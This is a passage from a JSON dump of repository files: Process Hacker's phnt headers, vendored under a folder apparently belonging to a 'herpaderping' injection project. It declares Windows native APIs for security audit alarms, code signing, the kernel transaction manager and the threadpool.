_Inout_ PULONG PrivilegeSetLength,\n _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess,\n _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus\n );\n\n// Signing\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetCachedSigningLevel(\n _In_ ULONG Flags,\n _In_ SE_SIGNING_LEVEL InputSigningLevel,\n _In_reads_(SourceFileCount) PHANDLE SourceFiles,\n _In_ ULONG SourceFileCount,\n _In_opt_ HANDLE TargetFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetCachedSigningLevel(\n _In_ HANDLE File,\n _Out_ PULONG Flags,\n _Out_ PSE_SIGNING_LEVEL SigningLevel,\n _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint,\n _Inout_opt_ PULONG ThumbprintSize,\n _Out_opt_ PULONG ThumbprintAlgorithm\n );\n\n#endif\n\n// Audit alarm\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheckAndAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheckByTypeAndAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ AUDIT_EVENT_TYPE AuditType,\n _In_ ULONG Flags,\n _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheckByTypeResultListAndAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ AUDIT_EVENT_TYPE AuditType,\n _In_ ULONG Flags,\n _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess,\n _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheckByTypeResultListAndAuditAlarmByHandle(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ HANDLE ClientToken,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ AUDIT_EVENT_TYPE AuditType,\n _In_ ULONG Flags,\n _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess,\n _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ACCESS_MASK GrantedAccess,\n _In_opt_ PPRIVILEGE_SET Privileges,\n _In_ BOOLEAN ObjectCreation,\n _In_ BOOLEAN AccessGranted,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrivilegeObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PPRIVILEGE_SET Privileges,\n _In_ BOOLEAN AccessGranted\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCloseObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ BOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ BOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrivilegedServiceAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_ PUNICODE_STRING ServiceName,\n _In_ HANDLE ClientToken,\n _In_ PPRIVILEGE_SET Privileges,\n _In_ BOOLEAN AccessGranted\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntsmss.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTSMSS_H\n#define _NTSMSS_H\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConnectToSm(\n _In_ PUNICODE_STRING ApiPortName,\n _In_ HANDLE ApiPortHandle,\n _In_ DWORD ProcessImageType,\n _Out_ PHANDLE SmssConnection\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSendMsgToSm(\n _In_ HANDLE ApiPortHandle,\n _In_ PPORT_MESSAGE MessageData\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/nttmapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTTMAPI_H\n#define _NTTMAPI_H\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateTransactionManager(\n _Out_ PHANDLE TmHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PUNICODE_STRING LogFileName,\n _In_opt_ ULONG CreateOptions,\n _In_opt_ ULONG CommitStrength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenTransactionManager(\n _Out_ PHANDLE TmHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PUNICODE_STRING LogFileName,\n _In_opt_ LPGUID TmIdentity,\n _In_opt_ ULONG OpenOptions\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRenameTransactionManager(\n _In_ PUNICODE_STRING LogFileName,\n _In_ LPGUID ExistingTransactionManagerGuid\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRollforwardTransactionManager(\n _In_ HANDLE TransactionManagerHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRecoverTransactionManager(\n _In_ HANDLE TransactionManagerHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationTransactionManager(\n _In_ HANDLE TransactionManagerHandle,\n _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,\n _Out_writes_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation,\n _In_ ULONG TransactionManagerInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationTransactionManager(\n _In_opt_ HANDLE TmHandle,\n _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,\n _In_reads_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation,\n _In_ ULONG TransactionManagerInformationLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnumerateTransactionObject(\n _In_opt_ HANDLE RootObjectHandle,\n _In_ KTMOBJECT_TYPE QueryType,\n _Inout_updates_bytes_(ObjectCursorLength) PKTMOBJECT_CURSOR ObjectCursor,\n _In_ ULONG ObjectCursorLength,\n _Out_ PULONG ReturnLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateTransaction(\n _Out_ PHANDLE TransactionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ LPGUID Uow,\n _In_opt_ HANDLE TmHandle,\n _In_opt_ ULONG CreateOptions,\n _In_opt_ ULONG IsolationLevel,\n _In_opt_ ULONG IsolationFlags,\n _In_opt_ PLARGE_INTEGER Timeout,\n _In_opt_ PUNICODE_STRING Description\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenTransaction(\n _Out_ PHANDLE TransactionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ LPGUID Uow,\n _In_opt_ HANDLE TmHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass,\n _Out_writes_bytes_(TransactionInformationLength) PVOID TransactionInformation,\n _In_ ULONG TransactionInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass,\n _In_reads_bytes_(TransactionInformationLength) PVOID TransactionInformation,\n _In_ ULONG TransactionInformationLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCommitTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ BOOLEAN Wait\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRollbackTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ BOOLEAN Wait\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateEnlistment(\n _Out_ PHANDLE EnlistmentHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE ResourceManagerHandle,\n _In_ HANDLE TransactionHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ ULONG CreateOptions,\n _In_ NOTIFICATION_MASK NotificationMask,\n _In_opt_ PVOID EnlistmentKey\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenEnlistment(\n _Out_ PHANDLE EnlistmentHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE ResourceManagerHandle,\n _In_ LPGUID EnlistmentGuid,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass,\n _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,\n _In_ ULONG EnlistmentInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationEnlistment(\n _In_opt_ HANDLE EnlistmentHandle,\n _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass,\n _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,\n _In_ ULONG EnlistmentInformationLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRecoverEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PVOID EnlistmentKey\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrePrepareEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrepareEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCommitEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRollbackEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrePrepareComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrepareComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCommitComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReadOnlyEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRollbackComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSinglePhaseReject(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateResourceManager(\n _Out_ PHANDLE ResourceManagerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE TmHandle,\n _In_ LPGUID RmGuid,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ ULONG CreateOptions,\n _In_opt_ PUNICODE_STRING Description\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenResourceManager(\n _Out_ PHANDLE ResourceManagerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE TmHandle,\n _In_opt_ LPGUID ResourceManagerGuid,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRecoverResourceManager(\n _In_ HANDLE ResourceManagerHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetNotificationResourceManager(\n _In_ HANDLE ResourceManagerHandle,\n _Out_ PTRANSACTION_NOTIFICATION TransactionNotification,\n _In_ ULONG NotificationLength,\n _In_opt_ PLARGE_INTEGER Timeout,\n _Out_opt_ PULONG ReturnLength,\n _In_ ULONG Asynchronous,\n _In_opt_ ULONG_PTR AsynchronousContext\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationResourceManager(\n _In_ HANDLE ResourceManagerHandle,\n _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass,\n _Out_writes_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation,\n _In_ ULONG ResourceManagerInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationResourceManager(\n _In_ HANDLE ResourceManagerHandle,\n _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass,\n _In_reads_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation,\n _In_ ULONG ResourceManagerInformationLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRegisterProtocolAddressInformation(\n _In_ HANDLE ResourceManager,\n _In_ PCRM_PROTOCOL_ID ProtocolId,\n _In_ ULONG ProtocolInformationSize,\n _In_ PVOID ProtocolInformation,\n _In_opt_ ULONG CreateOptions\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPropagationComplete(\n _In_ HANDLE ResourceManagerHandle,\n _In_ ULONG RequestCookie,\n _In_ ULONG BufferLength,\n _In_ PVOID Buffer\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPropagationFailed(\n _In_ HANDLE ResourceManagerHandle,\n _In_ ULONG RequestCookie,\n _In_ NTSTATUS PropStatus\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFreezeTransactions(\n _In_ PLARGE_INTEGER FreezeTimeout,\n _In_ PLARGE_INTEGER ThawTimeout\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtThawTransactions(\n VOID\n );\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/nttp.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTTP_H\n#define _NTTP_H\n\n// Some types are already defined in winnt.h.\n\ntypedef struct _TP_ALPC TP_ALPC, *PTP_ALPC;\n\n// private\ntypedef VOID (NTAPI *PTP_ALPC_CALLBACK)(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _Inout_opt_ PVOID Context,\n _In_ PTP_ALPC Alpc\n );\n\n// rev\ntypedef VOID (NTAPI *PTP_ALPC_CALLBACK_EX)(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _Inout_opt_ PVOID Context,\n _In_ PTP_ALPC Alpc,\n _In_ PVOID ApcContext\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocPool(\n _Out_ PTP_POOL *PoolReturn,\n _Reserved_ PVOID Reserved\n );\n\n// winbase:CloseThreadpool\nNTSYSAPI\nVOID\nNTAPI\nTpReleasePool(\n _Inout_ PTP_POOL Pool\n );\n\n// winbase:SetThreadpoolThreadMaximum\nNTSYSAPI\nVOID\nNTAPI\nTpSetPoolMaxThreads(\n _Inout_ PTP_POOL Pool,\n _In_ ULONG MaxThreads\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpSetPoolMinThreads(\n _Inout_ PTP_POOL Pool,\n _In_ ULONG MinThreads\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpQueryPoolStackInformation(\n _In_ PTP_POOL Pool,\n _Out_ PTP_POOL_STACK_INFORMATION PoolStackInformation\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpSetPoolStackInformation(\n _Inout_ PTP_POOL Pool,\n _In_ PTP_POOL_STACK_INFORMATION PoolStackInformation\n );\n#endif\n\n// private\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocCleanupGroup(\n _Out_ PTP_CLEANUP_GROUP *CleanupGroupReturn\n );\n\n// winbase:CloseThreadpoolCleanupGroup\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseCleanupGroup(\n _Inout_ PTP_CLEANUP_GROUP CleanupGroup\n );\n\n// winbase:CloseThreadpoolCleanupGroupMembers\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseCleanupGroupMembers(\n _Inout_ PTP_CLEANUP_GROUP CleanupGroup,\n _In_ LOGICAL CancelPendingCallbacks,\n _Inout_opt_ PVOID CleanupParameter\n );\n\n// winbase:SetEventWhenCallbackReturns\nNTSYSAPI\nVOID\nNTAPI\nTpCallbackSetEventOnCompletion(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _In_ HANDLE Event\n );\n\n// winbase:ReleaseSemaphoreWhenCallbackReturns\nNTSYSAPI\nVOID\nNTAPI\nTpCallbackReleaseSemaphoreOnCompletion(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _In_ HANDLE Semaphore,\n _In_ ULONG ReleaseCount\n );\n\n// winbase:ReleaseMutexWhenCallbackReturns\nNTSYSAPI\nVOID\nNTAPI\nTpCallbackReleaseMutexOnCompletion(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _In_ HANDLE Mutex\n );\n\n// winbase:LeaveCriticalSectionWhenCallbackReturns\nNTSYSAPI\nVOID\nNTAPI\nTpCallbackLeaveCriticalSectionOnCompletion(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\n// winbase:FreeLibraryWhenCallbackReturns\nNTSYSAPI\nVOID\nNTAPI\nTpCallbackUnloadDllOnCompletion(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _In_ PVOID DllHandle\n );\n\n// winbase:CallbackMayRunLong\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpCallbackMayRunLong(\n _Inout_ PTP_CALLBACK_INSTANCE Instance\n );\n\n// winbase:DisassociateCurrentThreadFromCallback\nNTSYSAPI\nVOID\nNTAPI\nTpDisassociateCallback(\n _Inout_ PTP_CALLBACK_INSTANCE Instance\n );\n\n// winbase:TrySubmitThreadpoolCallback\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpSimpleTryPost(\n _In_ PTP_SIMPLE_CALLBACK Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n\n// private\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocWork(\n _Out_ PTP_WORK *WorkReturn,\n _In_ PTP_WORK_CALLBACK Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n\n// winbase:CloseThreadpoolWork\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseWork(\n _Inout_ PTP_WORK Work\n );\n\n// winbase:SubmitThreadpoolWork\nNTSYSAPI\nVOID\nNTAPI\nTpPostWork(\n _Inout_ PTP_WORK Work\n );\n\n// winbase:WaitForThreadpoolWorkCallbacks\nNTSYSAPI\nVOID\nNTAPI\nTpWaitForWork(\n _Inout_ PTP_WORK Work,\n _In_ LOGICAL CancelPendingCallbacks\n );\n\n// private\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocTimer(\n _Out_ PTP_TIMER *Timer,\n _In_ PTP_TIMER_CALLBACK Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n\n// winbase:CloseThreadpoolTimer\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseTimer(\n _Inout_ PTP_TIMER Timer\n );\n\n// winbase:SetThreadpoolTimer\nNTSYSAPI\nVOID\nNTAPI\nTpSetTimer(\n _Inout_ PTP_TIMER Timer,\n _In_opt_ PLARGE_INTEGER DueTime,\n _In_ ULONG Period,\n _In_opt_ ULONG WindowLength\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// winbase:SetThreadpoolTimerEx\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpSetTimerEx(\n _Inout_ PTP_TIMER Timer,\n _In_opt_ PLARGE_INTEGER DueTime,\n _In_ ULONG Period,\n _In_opt_ ULONG WindowLength\n );\n#endif\n\n// winbase:IsThreadpoolTimerSet\nNTSYSAPI\nLOGICAL\nNTAPI\nTpIsTimerSet(\n _In_ PTP_TIMER Timer\n );\n\n// winbase:WaitForThreadpoolTimerCallbacks\nNTSYSAPI\nVOID\nNTAPI\nTpWaitForTimer(\n _Inout_ PTP_TIMER Timer,\n _In_ LOGICAL CancelPendingCallbacks\n );\n\n// private\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocWait(\n _Out_ PTP_WAIT *WaitReturn,\n _In_ PTP_WAIT_CALLBACK Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n\n// winbase:CloseThreadpoolWait\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseWait(\n _Inout_ PTP_WAIT Wait\n );\n\n// winbase:SetThreadpoolWait\nNTSYSAPI\nVOID\nNTAPI\nTpSetWait(\n _Inout_ PTP_WAIT Wait,\n _In_opt_ HANDLE Handle,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// winbase:SetThreadpoolWaitEx\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpSetWaitEx(\n _Inout_ PTP_WAIT Wait,\n _In_opt_ HANDLE Handle,\n _In_opt_ PLARGE_INTEGER Timeout,\n _In_opt_ PVOID Reserved\n );\n#endif\n\n// winbase:WaitForThreadpoolWaitCallbacks\nNTSYSAPI\nVOID\nNTAPI\nTpWaitForWait(\n _Inout_ PTP_WAIT Wait,\n _In_ LOGICAL CancelPendingCallbacks\n );\n\n// private\ntypedef VOID (NTAPI *PTP_IO_CALLBACK)(\n _Inout_ PTP_CALLBACK_INSTANCE Instance,\n _Inout_opt_ PVOID Context,\n _In_ PVOID ApcContext,\n _In_ PIO_STATUS_BLOCK IoSB,\n _In_ PTP_IO Io\n );\n\n// private\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocIoCompletion(\n _Out_ PTP_IO 